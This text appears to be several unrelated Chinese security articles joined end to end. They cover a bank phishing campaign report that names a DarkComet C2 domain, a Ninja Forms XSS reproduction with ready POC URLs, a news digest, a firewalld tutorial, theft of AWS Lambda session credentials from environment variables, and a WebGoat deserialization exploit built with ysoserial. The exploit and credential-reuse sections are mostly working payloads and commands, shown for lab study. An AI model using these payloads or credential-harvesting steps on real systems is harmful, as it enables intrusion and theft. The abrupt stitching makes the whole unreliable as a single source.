图 2-20 马拉维国民银行nchalo分行收到的攻击邮件

在攻击邮件中也有其他国家的银行目标,如其中一封邮件发送自邮箱“Audit Dept [email protected]”,系美国大型金融服务(银行间汇款转账)公司“Prabhu” [11]的员工工作邮箱。发信时间为“2018年8月25日(周六) 10:19”,发信IP为“185.82.***.***”,与上述第一封邮件的发信IP一致。收信邮箱[email protected]系阿塞拜疆国际银行(The International Bank of Azerbaijan)员工工作邮箱。

图 2-21 阿塞拜疆国际银行收到的同类攻击邮件

这两封邮件的两个PPSX文件附件与1.1节中描述的样本一样,都利用了CVE-2014-6352漏洞,OLE对象的“Ole10Native”流都包含了完整PE数据(“Document.scr”、“Document.exe”),原始保存路径则出现了新的路径“C:\Users\kboy\”。Verb动作也都设置为“cmd=0”以执行临时目录下释放的绑定了恶意代码的正常程序。

图 2-22 释放的PE复制至启动目录后的文件名

样本“Document.scr”和“Document.exe”同2.2节中的“Target.scr”构造手法完全一致,它们分别在开源程序“Tech2ks NComputing Caffe[12]”和国际象棋游戏“ChessQuest”的源代码中插入DarkComet木马,甚至连木马的回连C2都共用着同一个域名和端口:“desk1pc.ddns.net:700”。以样本“Document.exe”为例,同2.2节中的样本“Target.scr”进行特征比对能展示出更多相似之处:

表2-4拓线样本特征对比

通过检查185.82.***.***~***这一段IP,我们发现IP 185.82.***.***和185.82.***.***于今年10月初曾被用于上文的三个Visual Basic样本和其它远控木马作回传C&C服务器(皆绑定过临时二级域名kango.ddns.net、kinging.ddns.net、segun.ddns.net和desk1pc.ddns.net)。而IP 185.82.***.***则于今年10月初被用于挂载知名勒索软件GandCrab。
通过扩线分析可以看出,攻击者使用了多种公开源码程序作为掩护传播恶意代码,由于源程序代码并不能正常运行,而且所使用的开源程序并非常见金融场景下的应用或工具软件,所以我们认为攻击者并不是替换用户原有程序来实现持久化,而是以此作为免杀和干扰分析的技巧。

3、小结

从已有信息来看,本次马拉维国民银行及其他多国金融机构遭受的网络攻击均使用同一手法,这一系列网络攻击初步判断是以金融机构为目标,以金融资产侵害为目的的犯罪行为。目前除能判断马拉维银行相关信箱已被入侵并作为攻击跳板外,目前尚无法判断和知晓事件相关的几家分行客服员工是否已经触发攻击流程而造成了实际的损失。综合攻击者使用的漏洞、载荷、地址资源、社工技巧来看,系由一定技术能力的个人攻击者或犯罪团伙的可能性较大。
金融机构的运行高度依赖于信息系统,传统金融机构更多依靠物理空间安全手段保证信息系统安全。但在互联网时代,由于为大量互联网用户提供服务以及银行间跨国汇兑转账等业务,金融机构的信息系统已经是一个事实上存在着互联网侧多暴露面的系统。金融系统的服务网站、网银接口、人员使用的工作电子邮件信箱、跨行转账服务等,在已有攻击事件中,成为攻击的入口。尤其金融机构的电子邮件由于是直接暴露的信息资产,极易成为攻击者的攻击入口,同时因为其中的员工邮箱遭受攻击后,容易在内部实现基于邮件信任链的攻击,导致连锁反应的发生。
和安天既往复盘分析的针对金融机构的其他攻击——如针对在孟加拉国央行、越南先锋银行等多国SWIFT系统的网络攻击事件相比,本事件属于低水平攻击事件。攻击者并未使用0day漏洞,其攻击载荷也并无数字签名盗用等方式伪装,属于在基础结构安全和纵深防御层面可以有效对抗遏制的攻击。如果相关金融机构实施严格的安全策略,做好补丁升级和配置加固等基本工作,配套部署具有主动防御能力的终端防御软件并保持更新升级,就可以大大降低相关载荷的执行概率。本事件客观上代表了部分经济不发达国家的金融机构处于较低的防护水平之中,网络安全投入能力相对较差,本身抵御风险的能力也不足。网络攻击带来的风险,有可能转化为国家级的金融灾难。
我国当前整个金融信息化发展水平较快,在网络安全防护方面也积累了大量模式和经验,但同时也面临着更高的安全风险,需要应对超高能力国家/地区威胁行为体所发动的网络攻击。这些行为体具有坚定的攻击意志、能够承担巨大的攻击成本。在大规模工程体系的支撑下,进行体系化的攻击作业。TAO组织攻击中东的最大SWIFT服务机构就是其中的代表事件。防御这一层面的网络攻击,需要以能力导向建设,按照“综合发展、深度结合、全面覆盖、动态综合”的安全理念,形成高水平的防御能力。在这个过程中,中国的能力型安全厂商,不仅要做好当下,也要逐步放眼全球,与中国金融机构共同积累沉淀安全防护理念、经验和解决方案,在未来对经济不发达国家的金融机构实现网络安全能力的支持和援助。

附录一:参考资料

[1]CVE: CVE-2014-6352
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6352
[2]Freesourcecode:Gate Pass Management System in Visual Basic
http://freesourcecode.net/vbprojects/21006/Gate-Pass-Management-System–in-Visual-Basic#.W8PphtlR2Ht
[3] Natbankmw:马拉维银行官网
https://www.natbankmw.com
[4]维基百科:National_Bank_of_Malawi
https://en.wikipedia.org/wiki/National_Bank_of_Malawi 
[5]Malawi24:workers-steal-millions-from-national-bank
https://malawi24.com/2016/02/09/workers-steal-millions-from-national-bank/
[6]微软:Microsoft Security Bulletin MS14-060 – Important
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-060
[7]微软:Microsoft TechNet
https://technet.microsoft.com/en-us/ms537628(v=VS.71)
[8]安天:沙虫(CVE-2014-4114)相关威胁综合分析报告
http://www.antiy.com/response/cve-2014-4114.html 
[9]Freebuf:CVE-2014-6352漏洞及定向攻击样本分析
http://www.freebuf.com/vuls/106853.html
[10]McAfee:Bypassing Microsoft’s Patch for the Sandworm Zero Day: Even ‘Editing’ Can Cause Harm 
https://securingtomorrow.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm/ 
[11]Prabhu:about us
https://www.prabhuonline.com/information/why-us
[12]Freesourcecode:Tech2ks NComputing Caffe in Visual Basic较新版本
http://freesourcecode.net/vbprojects/17691/Tech2ks-NComputing-Caffe-in-Visual-Basic#.W_vKmLEzZaQ

1.png

前言

Ninja Forms是WordPress的终极免费表单创建工具。使用简单但功能强大的拖放式表单创建器在几分钟内构建表单。对于初学者,可以快速轻松地设计复杂的表单,绝对没有代码。对于开发人员,利用内置的钩子,过滤器,甚至自定义字段模板,使用Ninja Forms作为框架,在表单构建或提交的任何步骤中执行您需要的任何操作。

Ninja Forms 3.3.17被爆出存在XSS漏洞(CVE-2018-19287)后,官方还是很给力的发布了3.3.18版本。

漏洞复现

环境搭建过程

环境:windows10 x64、phpstudy2016、火狐浏览器、wordpress4.4、Ninja Forms 3.3.17。

Ninja Forms作为wordpress的插件,我们得先安装一下wordpress。

安装过程这里就不多说了,不会的小伙伴,可以参考下面的链接。

https://jingyan.baidu.com/article/a3a3f811c525038da3eb8a49.html

下图是安装成功,程序首页的图:

2.png

然后安装插件Ninja Forms 3.3.17,由于它最新版本是3.3.18,所以不能在后台直接安装Ninja Forms,下载下来的是3.3.18的。

我们可以通过本地安装插件的方式进行,下面是Ninja Forms 3.3.17下载地址:

https://downloads.wordpress.org/plugin/ninja-forms.3.3.17.zip

下载完成后,复制压缩包内的ninja forms目录到wordpress程序的安装目录下的/wp-content/pluginsss目录下。如下图所示:

3.png

完成上一步之后,我们还需要进入后台去启用这个插件。如下图所示:4.png

经过重新登录和刷新之后。后台页面多了一个Ninja Forms,如下图所示:5.png

到这里就结束了环境搭建的过程了。

复现过程

下面是我从exploit-db上复制的POC,为了方便判断,修改了弹窗的内容。

POC1:

http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date&end_date="><img+src=mtk+onerror=alert(/POC1/);//&filter_action=Filter&paged=1&action2=-1
POC2:

http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src=mtk+onerror=alert(/POC2/);//&end_date&filter_action=Filter&paged=1&action2=-1
POC3:

http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1"><script>alert(/POC3/);</script>&nf_form_filter&paged=1

我们只要直接复制POC到浏览器的地址栏回车即可触发漏洞。

下图是触发第一个POC的图:

6.png下图是触发第二个POC的图:

7.png

下图是触发第三个POC的图:8.png

到这里,复现的过程也结束了。

下面,我们就进入漏洞分析的过程。

漏洞分析过程

笔者直接从POC方面入手,简单分析一下漏洞的成因。由于方法是一样的,笔者是一个懒人,这里就只分析了POC3的成因。

通过POC查找关键词nf_sub,确定了核心文件\wp-content\plugins\ninja-forms\includes\Admin\Menus\Submissions.php。

下图是Submissions.php部分内容:

9.png

通过粗略的阅读,发现这个函数是导致POC3成功弹窗的关键。

下图是Submissions.php文件第71-104行内容:

public function change_views( $views )

    {

        // Remove our unused views.

        unset( $views[ 'mine' ] );

        unset( $views[ 'publish' ] );

        // If the Form ID is not empty...

        if( ! empty( $_GET[ 'form_id' ] ) ) {

            // ...populate the rest of the query string.

            $form_id = '&form_id=' . $_GET[ 'form_id' ] . '&nf_form_filter&paged=1';

        } else {

            // ...otherwise send in an empty string.

            $form_id = '';

        }

        // Build our new views.

        $views[ 'all' ] = '<a href="' . admin_url( 'edit.php?post_status=all&post_type=nf_sub'  ) . $form_id . '">'

                        . __( 'Completed', 'ninja-forms' ) . '</a>';

        $views[ 'trash' ] = '<a href="' . admin_url( 'edit.php?post_status=trash&post_type=nf_sub' ) . $form_id . '">'

                            . __( 'Trashed', 'ninja-forms' ) . '</a>';

        // Checks to make sure we have a post status.

        if( ! empty( $_GET[ 'post_status' ] ) ) {

            // Depending on the domain set the value to plain text.

            if ( 'all' == $_GET[ 'post_status' ] ) {

                $views[ 'all' ] = __( 'Completed', 'ninja-forms' );

            } else if ( 'trash' == $_GET[ 'post_status' ] ) {

                $views[ 'trash' ] = __( 'Trashed', 'ninja-forms' );

            }

        }

        return $views;

    }

从上面代码,我们可以看到,form_id并没有被过滤,导致XSS存在。

$form_id = '&form_id=' . $_GET[ 'form_id' ] . '&nf_form_filter&paged=1';

修复建议

1、利用htmlentities()等函数转义html实体。

$form_id = '&form_id=' . htmlentities($_GET[ 'form_id' ]) . '&nf_form_filter&paged=1';

再次访问POC3地址,无法触发XSS漏洞。

10.png

2、升级最新版本。

参考链接

https://www.exploit-db.com/exploits/45880/

*本文作者:看不尽的尘埃,转载请注明来自FreeBuf.COM

各位 Buffer 早上好,今天是 2018 年 11 月 30 日星期五,农历十月二十三。今天的早餐铺内容有:因发生未授权的网络活动,戴尔为所有Dell.com用户重置密码;国外医疗账单处理和在线支付平台Atrium Health泄露265万患者记录;全新的工业间谍活动利用基于AutoCAD的恶意软件;思科修复Prime License Manager中的关键SQL注入漏洞;《检察机关办理侵犯公民个人信息案件指引》全文发布。

Ultimate-Breakfast-Sandwich-LEDE.jpg

因发生未授权的网络活动,戴尔为所有Dell.com用户重置密码

戴尔为所有Dell.com用户重置密码

戴尔披露了11月初发生的一次网络攻击,并重置了所有客户的密码,作为事件发生后的预防措施。戴尔表示:“在2018年11月9日,戴尔发现并阻止了其网络上试图提取戴尔客户信息的未经授权活动,这些信息仅限于姓名、电子邮件地址和散列密码。”戴尔没有发现客户信息从服务器中被窃取的任何证据,但该公司确实承认发生这种情况的可能性。

尽管数据失窃的可能性很小,但戴尔也重置了所有客户的密码,以防止客户信息进一步暴露,并要求所有用户通过多步骤的身份验证过程,重新获得对其账户的访问权,从而进一步限制数据失窃的可能性。当用户在下次访问戴尔网站,并试图登录他们的帐户,系统会自动提示所有戴尔用户重置密码。[来源:threatpost]

国外医疗账单处理和在线支付平台Atrium Health泄露265万患者记录

Atrium Health泄露265万患者记录

为医疗保健提供者处理账单和在线支付的供应商Atrium Health于10月1日发生了数据泄露事件。根据周三发布的声明,本次时间可能导致多达265万Atrium Health病人的个人信息暴露给黑客。Atrium Health在美国北卡罗来纳州、南卡罗来纳州和佐治亚州经营着44家医院。

“未经授权的第三方”在9月访问了患者信息,日志表明没有信息被下载了。访问的信息包括姓名、家庭住址、出生日期、保险单信息、医疗记录号、发票号、帐户余额和服务日期。其中大约700,000名患者暴露的信息还可能包括他们的社会安全号码。[来源:darkreading]

全新的工业间谍活动利用基于AutoCAD的恶意软件

基于AutoCAD的恶意软件

安全研究人员发现了一个针对使用AutoCAD的公司恶意软件分发活动。网络犯罪分子的行动由网络安全公司Forcepoint发现,根据该公司分析的遥测数据,该活动似乎自2014年以来一直都处于活跃状态。

Forcepoint表示,该恶意活动主要对工业领域,利用AutoCAD作为感染媒介,攻击者成功地针对处于不同地理位置的多家公司进行了攻击,其中至少有一项活动可能专注于能源行业。研究人员表示,黑客组织使用鱼叉式网络钓鱼电子邮件,其中包含恶意AutoCAD文件或受害者可以自行下载ZIP文件的网站链接,以防“诱惑”文件需要大于标准电子邮件服务器的文件附件限制。Forcepoint表示,此次鱼叉式网络钓鱼活动盗取的”诱饵“文件涵盖酒店、厂房、甚至港珠澳大桥等重大项目。[来源:zdnet]

思科修复Prime License Manager中的关键SQL注入漏洞

思科刚刚修补了一个关键的SQL注入漏洞,该漏洞存在于Cisco Prime License Manager(PLM)的Web框架代码中,旨在帮助管理员在企业范围内管理用户许可。在成功利用CVE-2018-15441安全问题之后,潜在的远程攻击者可以在脆弱的机器上执行任意SQL查询。根据思科在Cisco Prime License Manager解决方案中详细说明此SQL注入安全漏洞的建议,问题在于“缺乏对SQL查询中用户提供的输入的正确验证”。

思科还说:“攻击者可以通过向受影响的应用程序发送包含恶意SQL语句的精心制作的HTTP POST请求来利用这个漏洞。”此外,设法使用漏洞攻击来破坏易受攻击目标的攻击者还可以删除或修改Prime License Manager数据库中的任何数据,以及使用postgres用户帐户的系统权限获取shell访问权限。目前还没有已知的解决此漏洞的方法,但思科已经发布了解决漏洞的软件更新。[来源:linuxidc]

《检察机关办理侵犯公民个人信息案件指引》全文发布

11月9日,最高人民检察院印发《检察机关办理侵犯公民个人信息案件指引》全文,《检察机关办理侵犯公民个人信息案件指引》经2018年8月24日最高人民检察院第十三届检察委员会第五次会议通过。

文中特别指出:

办理侵犯公民个人信息案件,应当特别注意以下问题:一是对“公民个人信息”的审查认定;二是对“违反国家有关规定”的审查认定;三是对“非法获取”的审查认定;四是对“情节严重”和“情节特别严重”的审查认定;五是对关联犯罪的审查认定。

[来源:安全内参]

*Freddy编译整理,转载请注明来自 FreeBuf

介绍

在之前的文章中我介绍了Linux防火墙的基本配置,并在最后简单提及了下firewalld。本文我将详细为大家介绍如何使用firewalld配置Linux防火墙。Firewalld为用户提供了一个GUI界面,在这上面用户可以访问到所有的功能。此外,它还为我们提供了一个任务栏/面板小程序,可以让你快速的访问到最常用的功能,包括“阻止所有网络流量”选项。大多数配置都将在CLI(命令行界面)完成。本文我使用的是xfce终端,但只要是支持bash,ksh或其他Linux shell的任何终端你都可以用。

关于 firewalld

firewalld提供了支持网络/防火墙区域(zone)定义网络链接,以及接口安全等级的动态防火墙管理工具。它支持IPv4,IPv6,以太网桥以及IPSet防火墙设置。拥有运行时配置和永久配置选项。它还为服务或应用程序提供了一个接口,可以直接添加iptables,ip6tables和ebtables规则。高级用户也可以使用此接口。

参考来源:https://firewalld.org/documentation/

这部分的内容可能需要更新,现在firewalld已经支持nftables。如果你安装了iptables并且想要使用nftables,那么你应该结束所有iptables进程(理想情况下,如果这是你首选的防火墙选项,那么最好是安装nftables之前卸载iptables)。

带有防火墙配置的Firewalld,它的图形配置工具和防火墙面板小程序你可以从Ubuntu的存储库中进行安装(所有Ubuntu的衍生版都可以从这里安装 )。此外,它也是Centos中的默认防火墙选项,大多数主要Linux发行版都可以在pkgs.org中以下列格式获取:

.rpm

.deb

.tar.xz

以及适用于以下发行版的firewalld linux软件包:

ALT Linux Sisypus

Arch

Centos7

Fedora

Mageia

Open Suse

Ubuntu

包括其它一些非发行版本的软件包

安装 firewalld

在大多数主要的Linux发行版中,你只需从包管理器(synaptic,pacman等)中选择firewalld(以及GUI和面板小程序,如果你需要的话),下载并让包管理器安装即可。

或者你也可以编译安装firewalld

你可以在运行时环境中进行更改,不需要重新启动服务或守护程序。

使用firewalld D-Bus接口,服务,应用程序和用户都可以轻松调整防火墙设置。该接口被用于防火墙配置工具firewall-cmd,firewall-config和firewall-applet。

运行时和永久配置的分离使得在运行时进行评估和测试成为可能。运行时配置仅在下次服务重新加载和重新启动或系统重新引导时有效,并将再次加载永久配置。 使用运行时环境,可以使用运行时的设置这些设置只在有限的时间内有效。如果运行时配置已用于评估,并已完成且正常工作,则可以将此配置保存到永久环境中。

特性

完整的D-Bus API

支持IPv4,IPv6,网桥和ipset

支持IPv4和IPv6 NAT

防火墙区域(zones)

预定义的区域,服务和icmptypes列表

区域中的简单服务,端口,协议,源端口,地址伪装(masquerading),端口转发,icmp过滤器,丰富规则,接口和源地址处理

简单的服务定义,包括端口,协议,源端口,模块(netfilter helpers)和目标地址处理

丰富的语言,可在区域中实现更灵活,复杂的规则

区域中的定时防火墙规则

简单记录被拒绝的数据包

直接接口

锁定:可能修改防火墙的应用程序的白名单

自动加载Linux内核模块

与Puppet集成

命令行clints用于联机和脱机配置

使用gtk3的图形配置工具

使用Qt4的Applet

参考来源:https://firewalld.org/

1.png

所有firewalld软件和文档(包括网站)都包含在https://unlicense.org/中。

安装firewalld后,你可以启用该服务并重启服务器。注意:启用firewalld将导致服务在重启时启动。最佳做法是在配置此行为之前创建防火墙规则,并对其进行测试以避免潜在问题的发生。

sudo systemctl enable firewalld
sudo reboot

当服务器重启时,防火墙会被启动,你的网络接口将被放入你配置的区域(或回退到配置的默认区域),并且与区域关联的任何规则都将应用于关联的接口。

参考来源:在centos7上使用firewalld

如果你安装了firewall-config,它应该在你的菜单中。在Mint中,它位于Menu→system下。你只需单击“firewall”启动firewall-config,并在出现提示时输入密码即可。

2.png

区域中public是默认值,默认情况下信任的服务为dhcpv6,mdns和ssh的最小集合。相同的基本可信服务集适用于内部区域。

工作区仅信任dhcpv6和ssh,外部区域仅信任ssh。

而在所有其他区域中,则没有服务被信任:

dmz(非军事区):仅接受ssh服务

block(限制):拒绝所有的网络服务

drop(丢弃):任何访问的网络数据包都会被丢弃,没有任何回应

trust(信任):可接受所有的网络连接

查看区域选项卡中的其他选项我们发现:

在端口中,没有定义任何的内容

在协议中,也没有定义任何内容

地址伪装未开启

端口转发没有任何内容

而且没有定义ICMP过滤器

没有“丰富的规则”,也没有接口,来源。

因此,看起来firewalld做了一个合理的工作,即设置最小的默认值以允许基本的工作站操作。服务器将需要根据其预期的功能进行不同的配置。

查看服务选项卡,每个预定义服务都分配了其默认端口要求。

telnet在端口23 tcp,ntp在端口123 udp上,snmp在端口161上用于moth tcp和udp等等… 

3.png

注意:firewalld对权限的超时非常严格,可能你离开几秒钟,它就会要求你再次进行身份验证。

如果面板小程序正在运行,默认情况下你将在panel0中看到:

4.png

带有红色圆图标的那个就是。

点击它,将会出现一个下拉菜单:

5.png

在对GUI做了基本的了解后,现在是时候回到命令行了!

命令行下 firewalld 配置

在开始配置防火墙之前,先让我们看一下现有的默认配置。

使用以下命令,查看firewalld当前配置状态的一些基本信息:

[email protected] ~ $ sudo firewall-cmd --state

[sudo] password for davdi:

running

[email protected] ~ $

[email protected] ~ $ sudo firewall-cmd --state

running

[email protected] ~ $ firewall-cmd --get-default-zone

public

[email protected] ~ $ firewall-cmd --get-active-zones

public

interfaces: enp0s31f6

[email protected] ~ $ firewall-cmd --list-all

public (default, active)

interfaces: enp0s31f6

sources:

services: dhcpv6-client ssh

ports:

protocols:

masquerade: no

forward-ports:

icmp-blocks:

rich rules:
[email protected] ~ $ firewall-cmd --get-zones

block dmz drop external home internal public trusted work

[email protected] ~ $ firewall-cmd --zone=home --list-all

home

interfaces:

sources:

services: dhcpv6-client mdns samba-client ssh

ports:

protocols:

masquerade: no

forward-ports:

icmp-blocks:

rich rules:
[email protected] ~ $ firewall-cmd --get-services

amanda-client amanda-k5-client bacula bacula-client ceph ceph-mon dhcp dhcpv6 dhcpv6-client dns docker-registry dropbox-lansync freeipa-ldap freeipa-ldaps freeipa-replication ftp high-availability http https imap imaps ipp ipp-client ipsec iscsi-target kadmin kerberos kpasswd ldap ldaps libvirt libvirt-tls mdns mosh mountd ms-wbt mysql nfs ntp openvpn pmcd pmproxy pmwebapi pmwebapis pop3 pop3s postgresql privoxy proxy-dhcp ptp pulseaudio puppetmaster radius rpc-bind rsyncd samba samba-client sane smtp smtps snmp snmptrap squid ssh synergy syslog syslog-tls telnet tftp tftp-client tinc tor-socks transmission-client vdsm vnc-server wbem-https xmpp-bosh xmpp-client xmpp-local xmpp-server

[email protected] ~ $

所有服务定义都以xml格式文件被存储在/usr/lib/firewalld/services中。

你可以在任何的文本编辑器,Web浏览器或xml查看器中查看这些内容。

获取当前配置状态后,接下来就是配置firewalld以符合我们的使用需求。

firewalld 配置

首先,我们将默认区域更改为home:

[email protected] ~ $ sudo firewall-cmd --zone=home --change-interface=eth0

[sudo] password for davdi:

success
[email protected] ~ $ firewall-cmd --get-active-zones

home

interfaces: eth0

public

interfaces: enp0s31f6

[email protected] ~ $

现在,让我们将home区域设为默认区域:

[email protected] ~ $ firewall-cmd --set-default-zone=home

success

[email protected] ~ $

注意:如果你忘记使用sudo,则可能会要求你输入密码(这取决于的Linux发行版本)。除非你想要关闭所有不必要的端口,停止响应ping请求等行为,以最小化你的攻击面。

首先,建议你查看下当前开放的端口有哪些:

你可以使用cat /etc/services命令,查看服务及其对应的端口号。

但这很可能会向你展示一长串的端口列表,看起来会让你觉得有点晕。

更好的办法是使用nmap来查看。如果你的系统上没有nmap,只需简单的安装即可。

Nmap 127.0.0.1将为你显示当前有哪些端口正在使用。

Firewall-cmd –list-ports也会为你显示相同的结果。

如果要打开特定端口,可以–add-port选项指定:

[email protected] ~ $ sudo firewall-cmd --add-port=8080/tcp

[sudo] password for davdi:

success

[email protected] ~ $

不要忘记重新加载firewalld来激活更改:firewall-command –reload

记住,更改将在重启后失效,除非你设置了永久更改。

sudo firewall-cmd  --permanent --add-port=8080/tcp

注意:这里我没有执行该命令,因为我不需要进行永久性的更改。

我省略了区域,因为之前我将默认区域设置为了“home”,省略区域后将对默认(home)区域进行更改。

你还可以添加一个范围的端口,如下所示:

sudo firewall-cmd --zone=home --permanent --add-port=3500-3559/udp

以上端口范围是我随意选的,没什么特别的意义。

或者你也可以使用图形界面:

6.png

从下拉菜单中选择相关协议。

定义服务

为你的区域打开端口很容易,但管理起来就比较麻烦。如果你在服务器上退役某项服务,那么你可能很难记住仍然需要打开哪些端口。为避免这种情况,你可以定义一个服务。

服务只是具有相关名称和描述的端口集合。使用服务比端口更加容易管理,但需要做一些前期的工作。最简单的方法是将现有脚本(位于/usr/lib/firewalld/services)复制到防火墙查找非标准定义的/etc/firewalld/services目录中。

例如,我们可以复制SSH服务定义用于我们的“example”服务定义。

sudo cp /usr/lib/firewalld/services/ssh.xml /etc/firewalld/services/example.xml

现在,你可以使用首选编辑器调整在复制的文件中找到的定义。

该文件将包含你复制的SSH定义:

/etc/firewalld/services/example.xml

<?xml version="1.0" encoding="utf-8"?>
<service>
  <short>SSH</short>
   Secure Shell (SSH) is a protocol for 
   logging into and executing commands on remote machines. It provides secure 
   encrypted communications. If you plan on accessing your machine remotely via SSH over a firewalled interface, enable this option. You need the openssh-server package installed for this option to be useful.  
  <port protocol="tcp" port="22"/>
</service>

参考来源:在centos7上使用firewalld

大多数文件都包含xml元数据,以下是我们重点需要关注的部分:

<port protocol="tcp" port="22"/> 

这里将会告诉我们,当前正在使用的端口和协议。

总结

相信通过本文的学习,你已基本掌握了firewalld防火墙的配置。在这里也提醒大家,在未做好充分的准备和决定之前不要轻易的执行永久更改操作,并在更改的过程中提前做好重要数据内容的备份,以便在出现问题时进行回滚。

*参考来源:peerlyst ,FB小编secist编译,转载请注明来自FreeBuf.COM

严正声明:本文涉及到的内容和技术仅用于教育和讨论目的,严禁用于非法用途。

前言

2018年8月3号,我收到了一条神秘的LinkedIn消息,这条消息来自Caleb Sima,内容如下:

LinkedIn消息

我不得不承认,我一开始都没反应过来Caleb想跟我说啥,不过看了一下URL之后(其中包含了Lambda和Shell),我感觉他应该是想告诉我他开发出了一种通过Lambda函数来执行Shell命令的技术。我之前也见过类似的东西,比如说Lambdash。几秒钟之后,我打算点进去看一看这个Web页面,然后发现了:

LinkedIn消息

看到这段话之后,我首先得弄清楚Caleb的动机,所以我给他发了一条信息:

LinkedIn消息

好吧,Caleb是打算让别人通过Lambda函数来攻击他的AWS账号,并最终实现Shell命令的运行。听起来确实值得一试,毕竟现在很难有人愿意把自己的账号给别人去免费“蹂躏”了,这让我非常兴奋!

第一步:收集情报

首先,我在当前目录(/var/task)下运行“ ls -IF”命令来提取函数处理器的文件名:

提取函数处理器的文件名

拿到文件名(index.js)之后,我通过运行“cat index.js”命令来获取函数的源代码:

获取函数的源代码

实际上,最初的源代码并没有让我感到惊讶,因为它就是普通的利用Lambda函数执行Shell命令的一段代码,我之前也已经见过很多类似的了。

我跟我自己说:“好吧,我现在能运行Shell命令了,可是那然后呢?我怎么才能给这个账号带来一点实际的威胁呢?”

于是,我打算收集更多信息,然后我列出了所有的环境变量,我想看看Caleb有没有留下一些有用的东西,这里可以使用‘env’命令:

使用‘env’命令

第二步:冒充Lambda函数

在对环境变量进行渗入分析之后,我发现当一个AWS Lambda函数执行时,它会使用一个由开发者(IAM角色)提供的临时安全证书。此时需要从AWS STS(安全令牌服务)接收以下三个参数:

AWS_SECRET_ACCESS_KEY

AWS_ACCESS_KEY_ID

AWS_SESSION_TOKEN

这是三个非常敏感的令牌,但是却直接在我的屏幕上作为环境变量打印了出来…

如果你不熟悉AWS IAM安全模型的话,我可以告诉你,这是一个非常强大且细粒度非常高的安全权限模型,模型的具体介绍可参考AWS提供的IAM角色文档:【传送门】。

既然我们已经拿到了AWS STS给函数生成的令牌了,那接下来就好办了。这里我可以直接使用令牌来在本地设备上调用AWS的命令行接口。此时我需要通过调用下列命令来在本地设置这些环境变量:

/>export AWS_SECRET_ACCESS_KEY = …..

/>export AWS_ACCESS_KEY_ID = ….

/>export AWS_SESSION_TOKEN = ....

为了测试这些令牌,我打算调用AWS STS命令行实用工具来获取当前的调用者身份:

/>aws sts get-caller-identity

几秒钟之后,命令行工具会给我返回下列信息:

{

"UserId":"AROA********GL4SXW:exec",

"Account":"1232*****446",

"Arn":"arn:aws:sts::1232*****446:assumed-role/lambda_basic_execution/exec"

}

非常好,现在我就可以在本地运行AWS命令行工具了,而且我还可以伪装成IAM角色。

当你查看AWS Lambda Web终端时,你将会看到:

AWS Lambda Web终端

大家可以看到,Caleb其实并没有用环境变量存储任何的应用程序隐私数据,这让我很“生气”。但是这里不得不提醒大家一下,很多开发人员确确实实会犯这样的错误,这是值得警惕的一点。

* 参考来源:darkreading,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

在本文中,我们将向你展示一个利用不安全的反序列化漏洞的过程,我们将以WebGoat 8反序列化挑战(部署在Docker上)为例。只需执行sleep5秒即可解决挑战。但是,我们将会进一步寻求乐趣并尝试get shell。

介绍

Java的反序列化问题在安全领域已经被安全人员所熟知很多年了。2015年,两名安全研究人员Chris FrohoffGabriel Lawrence在AppSecCali上发表了名为Marshalling Pickles 的演讲。此外,他们还发布了一个名为ysoserial的有效载荷生成器的工具。

对象序列化主要是为了开发人员能够将内存中的对象转换为二进制和文本数据格式进行存储或传输。但是,从不受信任的数据反序列化对象可能会导致攻击者实现远程代码执行。

漏洞发现

正如WebGoat的挑战中所提到的,易受攻击的页面会从用户输入中获取Base64格式的序列化Java对象,并盲目的进行反序列化。我们将通过提供一个序列化对象来利用此漏洞,该对象触发面向属性的编程链(POP链)并在反序列化期间实现远程命令执行。

1_jPX8NzK6Yu1S0YJEZnG0IQ.png

WebGoat 8中的不安全的反序列化挑战

通过启动Burp并安装Java-Deserialization-Scanner插件。该插件有2个功能:第一个功能是漏洞扫描,另一个功能是基于ysoserial工具生成Exp。

1_cChZUS9v_lch87Xe0Po1Vg.png

Burp Suite的Java反序列化扫描程序插件

扫描远程端点后,Burp插件报告结果如下:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!

看起来很棒!

漏洞利用

让我们转到下一步并点击Exploiting选项卡来实现任意命令执行。

1_v7SLGTUUFUrgeChTdPbj3w.png

嗯?这似乎是ysoserial的一个Bug。让我们深入研究一下这个bug并转移到控制台,看看究竟是什么问题。

1_yb-AaOf10vGN34f_uvDd-Q.png

有效载荷生成错误

通过观察ysoserial,我们看到有两种不同的可用于Hibernate的POP链。通过使用这些有效载荷,我们发现它们都没有在目标系统上执行。

1_445URZG7ndzNHrt9_d5bBA.png

ysoserial中显示的可用的有效载荷

那么插件是如何生成有效载荷并触发sleep命令的呢?

我们决定在以下链接中查看插件的源代码:

· federicodotta / Java-Deserialization-Scanner

· 针对Burp Suite的一体化插件,用于检测和利用Java反序列化漏洞…

我们注意到有效载荷在插件的源代码中是硬编码的,因此我们需要找到一种方法来生成相同的有效载荷来使其能够触发漏洞利用。

1_Kc94ne31V6zbFge8d63HZA.png

有效载荷是硬编码的

在经过一些研究和帮助后,我们发现我们需要修改当前版本的ysoserial才能使我们的有效载荷起作用。

我们下载了ysoserial的源代码并决定使用Hibernate 5重新编译它。为了使用Hibernate 5成功构建ysoserial,我们需要将javax.el包添加到pom.xml文件中。

我们还向原始项目发送了一个Pull请求,目的是在hibernate5选择配置文件时修复构建的一个问题。

1_EejAYhUgkCPGqo5-J-6Sqg.png

更新了pom.xml

我们可以使用以下命令继续重建ysoserial :

mvn clean package -DskipTests -Dhibernate5

然后我们就可以生成有效载荷了:

java -Dhibernate5 -jar target / ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1“touch / tmp / test”| base64 -w0

1_sgXPEISmBvIetCT5WzvaSQ.png

生效了的Hibernate 5的有效载荷

我们可以通过下面的命令访问Docker容器来验证我们的命令是否执行了:

docker exec -it <CONTAINER_ID> /bin/bash

我们可以看到我们的有效载荷在机器上确实执行成功了!

1_7AnjyEOmE_jUTRqmVIFdyg.png

漏洞利用成功!

